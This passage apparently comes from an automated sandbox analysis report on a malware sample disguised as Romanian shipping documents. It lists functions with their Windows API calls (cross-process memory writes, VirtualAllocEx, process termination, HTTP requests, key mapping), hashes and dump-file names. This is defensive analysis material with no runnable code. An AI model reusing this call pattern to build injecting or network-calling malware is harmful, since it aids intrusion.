                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CapsDevice$Release
                                                • String ID:
                                                • API String ID: 1035833867-0
                                                • Opcode ID: 05396ee03c4efb1d1bbb0de46a943b63117d3d8a718ee37a338c131515295c56
                                                • Instruction ID: 17796fc424c6499dd75e3ffc7dafaba434feb0cde5a7e19390d61b3efcb431a2
                                                • Opcode Fuzzy Hash: 05396ee03c4efb1d1bbb0de46a943b63117d3d8a718ee37a338c131515295c56
                                                • Instruction Fuzzy Hash: 5C012175A00219BFEB10AFE69D45B6ABFB8EB48761F044075FA04A7291D6709C11CF91
                                                Function 009C0162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MapVirtualKeyW.USER32(0000005B,00000000), ref: 009C0193
                                                • MapVirtualKeyW.USER32(00000010,00000000), ref: 009C019B
                                                • MapVirtualKeyW.USER32(000000A0,00000000), ref: 009C01A6
                                                • MapVirtualKeyW.USER32(000000A1,00000000), ref: 009C01B1
                                                • MapVirtualKeyW.USER32(00000011,00000000), ref: 009C01B9
                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 009C01C1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Virtual
                                                • String ID:
                                                • API String ID: 4278518827-0
                                                • Opcode ID: f03ec72b44cc816f4b37e296f7abc6902f4a1855f9989571efc1157c2efd0b9d
                                                • Instruction ID: b2c460cff3dc9a3ae314aef56a134ba3ccbd69ffe72d7cff030b83d9575f4750
                                                • Opcode Fuzzy Hash: f03ec72b44cc816f4b37e296f7abc6902f4a1855f9989571efc1157c2efd0b9d
                                                • Instruction Fuzzy Hash: 12016CB09027597DE3008F5A8C85B52FFB8FF19354F00411BA15C47941C7F5A868CBE5
                                                Function 00A053E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00A053F9
                                                • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00A0540F
                                                • GetWindowThreadProcessId.USER32(?,?), ref: 00A0541E
                                                • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A0542D
                                                • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A05437
                                                • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00A0543E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                • String ID:
                                                • API String ID: 839392675-0
                                                • Opcode ID: 86e8fd201ec1a88060ab2ed3196045bea7a47ff46af34ecd8e852c0e73fce2ad
                                                • Instruction ID: ee935db7d34dc861c4334e79ba57e081e02663c93d2eb3726b32c12f41c02c61
                                                • Opcode Fuzzy Hash: 86e8fd201ec1a88060ab2ed3196045bea7a47ff46af34ecd8e852c0e73fce2ad
                                                • Instruction Fuzzy Hash: 5DF06D32640158BFE7319BA69C0EEFB7A7CEBCAB11F000179FA04D109096A51A0386B5
                                                Function 00A07230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • InterlockedExchange.KERNEL32(?,?), ref: 00A07243
                                                • EnterCriticalSection.KERNEL32(?,?,009B0EE4,?,?), ref: 00A07254
                                                • TerminateThread.KERNEL32(00000000,000001F6,?,009B0EE4,?,?), ref: 00A07261
                                                • WaitForSingleObject.KERNEL32(00000000,000003E8,?,009B0EE4,?,?), ref: 00A0726E
                                                  • Part of subcall function 00A06C35: CloseHandle.KERNEL32(00000000,?,00A0727B,?,009B0EE4,?,?), ref: 00A06C3F
                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 00A07281
                                                • LeaveCriticalSection.KERNEL32(?,?,009B0EE4,?,?), ref: 00A07288
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                • String ID:
                                                • API String ID: 3495660284-0
                                                • Opcode ID: 9502ab3dcfb25e479ade2146f1c30766d60f5ff1972983d89715e229075689d2
                                                • Instruction ID: cbf060c8b3f272f1ffd2fe8a3418203d0ba79fb89abe8e831565f86ba6692fc9
                                                • Opcode Fuzzy Hash: 9502ab3dcfb25e479ade2146f1c30766d60f5ff1972983d89715e229075689d2
                                                • Instruction Fuzzy Hash: 11F05E76941612EFE7615BA8EE4C9FB7739EF4A702B500631F603910A4CB765813CB50
                                                Function 009F8992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                Download Yara Rule
                                                APIs
                                                • WaitForSingleObject.KERNEL32(?,000000FF), ref: 009F899D
                                                • UnloadUserProfile.USERENV(?,?), ref: 009F89A9
                                                • CloseHandle.KERNEL32(?), ref: 009F89B2
                                                • CloseHandle.KERNEL32(?), ref: 009F89BA
                                                • GetProcessHeap.KERNEL32(00000000,?), ref: 009F89C3
                                                • HeapFree.KERNEL32(00000000), ref: 009F89CA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                • String ID:
                                                • API String ID: 146765662-0
                                                • Opcode ID: 1eba1546cdd36def6d47a3f63427b637b423e89a8906ee78d0e4b011c4ac9b54
                                                • Instruction ID: 803abeede65e35edd89d6ea0a112c3fe4769d5ad2487b39e42c37b667ca87e6d
                                                • Opcode Fuzzy Hash: 1eba1546cdd36def6d47a3f63427b637b423e89a8906ee78d0e4b011c4ac9b54
                                                • Instruction Fuzzy Hash: 80E0C236004001FFDA119FE9ED0C92ABB79FB89322B508230F32985070CB329433DB50
                                                Function 00A185ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 00A18613
                                                • CharUpperBuffW.USER32(?,?), ref: 00A18722
                                                • VariantClear.OLEAUT32(?), ref: 00A1889A
                                                  • Part of subcall function 00A07562: VariantInit.OLEAUT32(00000000), ref: 00A075A2
                                                  • Part of subcall function 00A07562: VariantCopy.OLEAUT32(00000000,?), ref: 00A075AB
                                                  • Part of subcall function 00A07562: VariantClear.OLEAUT32(00000000), ref: 00A075B7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                • API String ID: 4237274167-1221869570
                                                • Opcode ID: 06f10ad39ff5e2621d74cf4634a5c4a737c1ebcd25d498e3bf66f0b9a3374895
                                                • Instruction ID: 4f2e16a4cefcdf99b09c54b6ed3189801b759d2d2ee7cbb99cd422dac9d2107d
                                                • Opcode Fuzzy Hash: 06f10ad39ff5e2621d74cf4634a5c4a737c1ebcd25d498e3bf66f0b9a3374895
                                                • Instruction Fuzzy Hash: 839158706043019FC710DF24C485AAABBF4FFC9754F14892EF89A8B2A1DB34E945CB92
                                                Function 00A02A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009BFC86: _wcscpy.LIBCMT ref: 009BFCA9
                                                • _memset.LIBCMT ref: 00A02B87
                                                • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00A02BB6
                                                • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00A02C69
                                                • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00A02C97
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                • String ID: 0
                                                • API String ID: 4152858687-4108050209
                                                • Opcode ID: eda091e9884bc7f953fadf642bc997aa0300d2c19aa1d83d9e9e2b6a72ed45ce
                                                • Instruction ID: c003ea8f548da332ce476ef979c79b622a4e08651af35e6cee9a0a8072eaf304
                                                • Opcode Fuzzy Hash: eda091e9884bc7f953fadf642bc997aa0300d2c19aa1d83d9e9e2b6a72ed45ce
                                                • Instruction Fuzzy Hash: 1751CC71A083089EE7249F68E849B6FB7E8EF99354F140A2DF895D71D1DB70CC448B92
                                                Function 00A297F4 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(010DEAD0,?), ref: 00A29863
                                                • ScreenToClient.USER32(00000002,00000002), ref: 00A29896
                                                • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00A29903
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$ClientMoveRectScreen
                                                • String ID: @U=u
                                                • API String ID: 3880355969-2594219639
                                                • Opcode ID: fa622e02d4408ee2cfe9ad1b238a98841c26fc89c6452ff23512540c22f1a04b
                                                • Instruction ID: 6b52cd53b8fcef214380bdf06e0ad563075bf932a51fa18a971e6bdf661362cf
                                                • Opcode Fuzzy Hash: fa622e02d4408ee2cfe9ad1b238a98841c26fc89c6452ff23512540c22f1a04b
                                                • Instruction Fuzzy Hash: ED514F74A00219EFCF20CF68D984AAE7BB5FF55760F14816DF8659B2A0D731AD81CB90
                                                Function 009F9A80 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 009F9AD2
                                                • __itow.LIBCMT ref: 009F9B03
                                                  • Part of subcall function 009F9D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 009F9DBE
                                                • SendMessageW.USER32(?,0000110A,00000001,?), ref: 009F9B6C
                                                • __itow.LIBCMT ref: 009F9BC3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$__itow
                                                • String ID: @U=u
                                                • API String ID: 3379773720-2594219639
                                                • Opcode ID: 3395ec2a233ca44257dc27d0987da33e5fbcec514d70272bf68d0835c9de7e1f
                                                • Instruction ID: 827682b2076468a91d1bdaca232e3f94a705d42c1b5e7741b1943cf454cdb61b
                                                • Opcode Fuzzy Hash: 3395ec2a233ca44257dc27d0987da33e5fbcec514d70272bf68d0835c9de7e1f
                                                • Instruction Fuzzy Hash: 4F415174A0020CABDF25EF54D846FFEBBB9EF85711F000069FA05A7291DB709945CBA1
                                                Function 009F97F5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 122windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00A014BC: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009F9296,?,?,00000034,00000800,?,00000034), ref: 00A014E6
                                                • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 009F983F
                                                  • Part of subcall function 00A01487: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,009F92C5,?,?,00000800,?,00001073,00000000,?,?), ref: 00A014B1
                                                  • Part of subcall function 00A013DE: GetWindowThreadProcessId.USER32(?,?), ref: 00A01409
                                                  • Part of subcall function 00A013DE: OpenProcess.KERNEL32(00000438,00000000,?,?,?,009F925A,00000034,?,?,00001004,00000000,00000000), ref: 00A01419
                                                  • Part of subcall function 00A013DE: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,009F925A,00000034,?,?,00001004,00000000,00000000), ref: 00A0142F
                                                • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 009F98AC
                                                • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 009F98F9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                                • String ID: @$@U=u
                                                • API String ID: 4150878124-826235744
                                                • Opcode ID: 06622ef00a10ba85a7df38ffa3cbd782f8207de566a1e4322f14b687eab89239
                                                • Instruction ID: 555a68b1c1f4fc48eb0604d938680f0b9a8a5c39323e2f4dd8fcb539f1fb500e
                                                • Opcode Fuzzy Hash: 06622ef00a10ba85a7df38ffa3cbd782f8207de566a1e4322f14b687eab89239
                                                • Instruction Fuzzy Hash: 5C41307690011CAFDB10DFA4CD81FEEBBB8EB45300F104159FA55B7191DA716E85CBA1
                                                Function 009FD56C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 121comlibraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 009FD5D4
                                                • SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 009FD60A
                                                • GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 009FD61B
                                                • SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 009FD69D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorMode$AddressCreateInstanceProc
                                                • String ID: DllGetClassObject
                                                • API String ID: 753597075-1075368562
                                                • Opcode ID: 2de575ccd529b82b6550c25a13ecc25257133991c0b0fd729727cd47f938b92a
                                                • Instruction ID: 3a02083041c6c8f2b8f9385fcc746ccb2b9415be766124d68ac9dc3520f0595a
                                                • Opcode Fuzzy Hash: 2de575ccd529b82b6550c25a13ecc25257133991c0b0fd729727cd47f938b92a
                                                • Instruction Fuzzy Hash: FE4182B1601208EFDB15DF54C884BAA7BBAEF44314F1585A9EE09DF205D7B1DD44CBA0
                                                Function 00A02753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00A027C0
                                                • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00A027DC
                                                • DeleteMenu.USER32(?,00000007,00000000), ref: 00A02822
                                                • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00A65890,00000000), ref: 00A0286B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Menu$Delete$InfoItem_memset
                                                • String ID: 0
                                                • API String ID: 1173514356-4108050209
                                                • Opcode ID: d2f80d3a191841837caac2d9592a8b732c967b129027452f4da32099ab0f91d4
                                                • Instruction ID: d0ed74735f7ab5fde466c13b43d0c5120f79df919dbbe5fff2046d1d6ee527df
                                                • Opcode Fuzzy Hash: d2f80d3a191841837caac2d9592a8b732c967b129027452f4da32099ab0f91d4
                                                • Instruction Fuzzy Hash: 5841BF756043059FD720DF24EC88B2ABBE8EF85314F14892DF9A5972D1DB30E809CB52
                                                Function 00A28851 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 109COMMON
                                                Download Yara Rule
                                                APIs
                                                • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00A288DE
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InvalidateRect
                                                • String ID: @U=u
                                                • API String ID: 634782764-2594219639
                                                • Opcode ID: da5a7887ab0f17ec4c66ecd877cf58ceaeb69b67b321ed72d5308007ecece208
                                                • Instruction ID: 0371ef476e55caa420b50002b373d3c622564cbed0dbc10a3d85575dc27f6fc8
                                                • Opcode Fuzzy Hash: da5a7887ab0f17ec4c66ecd877cf58ceaeb69b67b321ed72d5308007ecece208
                                                • Instruction Fuzzy Hash: 6F31E634602128AFEF209BACEC45FB877B5EB09350F544132F911E71A1CE78D9919792
                                                Function 00A1D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00A1D7C5
                                                  • Part of subcall function 009A784B: _memmove.LIBCMT ref: 009A7899
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharLower_memmove
                                                • String ID: cdecl$none$stdcall$winapi
                                                • API String ID: 3425801089-567219261
                                                • Opcode ID: 2b1cc819ee44dbb0031873c2ddecbccbc4cf88ae89722933d4731b6108ab08d1
                                                • Instruction ID: 9596bbcb6039733a65cc7d3060fdedc50c00a0f117c9042255f8ac7ef0612c67
                                                • Opcode Fuzzy Hash: 2b1cc819ee44dbb0031873c2ddecbccbc4cf88ae89722933d4731b6108ab08d1
                                                • Instruction Fuzzy Hash: 8E318371904615EBCF00EF98CC51AFEB7B5FF85320F108629E8259B6D1DB71A945CB80
                                                Function 00A1182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00A1184C
                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A11872
                                                • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00A118A2
                                                • InternetCloseHandle.WININET(00000000), ref: 00A118E9
                                                  • Part of subcall function 00A12483: GetLastError.KERNEL32(?,?,00A11817,00000000,00000000,00000001), ref: 00A12498
                                                  • Part of subcall function 00A12483: SetEvent.KERNEL32(?,?,00A11817,00000000,00000000,00000001), ref: 00A124AD
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                • String ID:
                                                • API String ID: 3113390036-3916222277
                                                • Opcode ID: e2a72faecb6ee24c76f3ee0855ce2cdbb26f272fd01030a56aa94e1319736318
